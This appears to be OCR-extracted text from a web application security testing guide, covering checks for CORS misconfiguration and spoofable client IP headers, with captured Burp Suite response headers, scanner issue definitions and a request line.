Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Subosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8F Phusion_Passenger/4.0.38 mod_per1/2.0.4 Per1/v5.10.1 X-Powered-By: PHP/5.3.2-1ubuntu4.30 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 4620	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_per1/2.0.4 Per1/v5.10.1 X-Powered-By: PHP/5.3.2-lubuntu4.30 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 4620 Connection: close	

3. Test Cross Origin Resource Sharing

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross- domain" requests using the XMLHttpRequest L2 API in a controlled manner

How to Test

- Origin & Access-Control-Allow-Origin: insecure configuration as '*' wildcard as value of the Access-Control-Allow-Origin (all domains are allowed)
- Access-Control-Request-Method & Access-Control-Allow-Method (must have in response header by the server to describe the methods the clients are allowed to use)
- Access-Control-Request-Header & Access-Control-Allow-Headers: determine which header can be used to perform a cross-origin request
- Access-Control-Allow-Credential: this header as part of preflight request indicates that the final request can include user credential
- Input validation

Test Example

• Using automate scan tool & intercept proxy tools

Issue Definitions

This listing contains the definitions of all issues that can be detected by Burp Scanner.

Name	Typical severity	Type index	
Cross-origin resource sharing	Information	0x00200600	
Cross-origin resource sharing: all subdomains trusted	Low	0x00200603	
Cross-origin resource sharing: arbitrary origin trusted	High	0x00200601	
Cross-origin resource sharing: unencrypted origin trusted	Low	0x00200602	

4. Testing for Spoofable Client IP address

If an application trusts an HTTP request header like X-Forwarded-For to accurately specify the remote IP address of the connecting client, then malicious clients can spoof their IP address. This behavior does not necessarily constitute a security vulnerability, however some applications use client IP addresses to enforce access controls and rate limits. For example, an application might expose administrative functionality only to clients connecting from the local IP address of the server, or allow a certain number of failed login attempts from each unique IP address. Consider reviewing relevant functionality to determine whether this might be the case

How to Test

- Intercept proxy
- Make sure request header do not import X-Forwarded-For, True-Client-IP, and X-Real-IP

234	https://accounts.google.com	GET	/ServiceLogin?service=mail&passive=tr	~	200 951722	HTML	Gmail	1	172.217.27.237	GAPS=1:ciU3WKa	
-											
Req	Response										
Raw	Params Headers Hex										
GET /	2BT /ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=l&scc=l<mpl=default<mplcache=2&emr=l&osid=1 HTTP/1.1										